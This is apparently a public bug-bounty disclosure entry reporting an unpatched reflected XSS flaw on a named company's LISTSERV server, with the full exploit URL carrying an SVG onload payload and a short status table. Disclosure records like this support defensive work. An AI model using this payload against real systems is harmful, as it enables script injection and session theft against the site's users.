listserv.harringtoncompany.com XSS vulnerability

Vulnerable URL: http://listserv.harringtoncompany.com/scripts/wa.exe?SHOWTPL=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...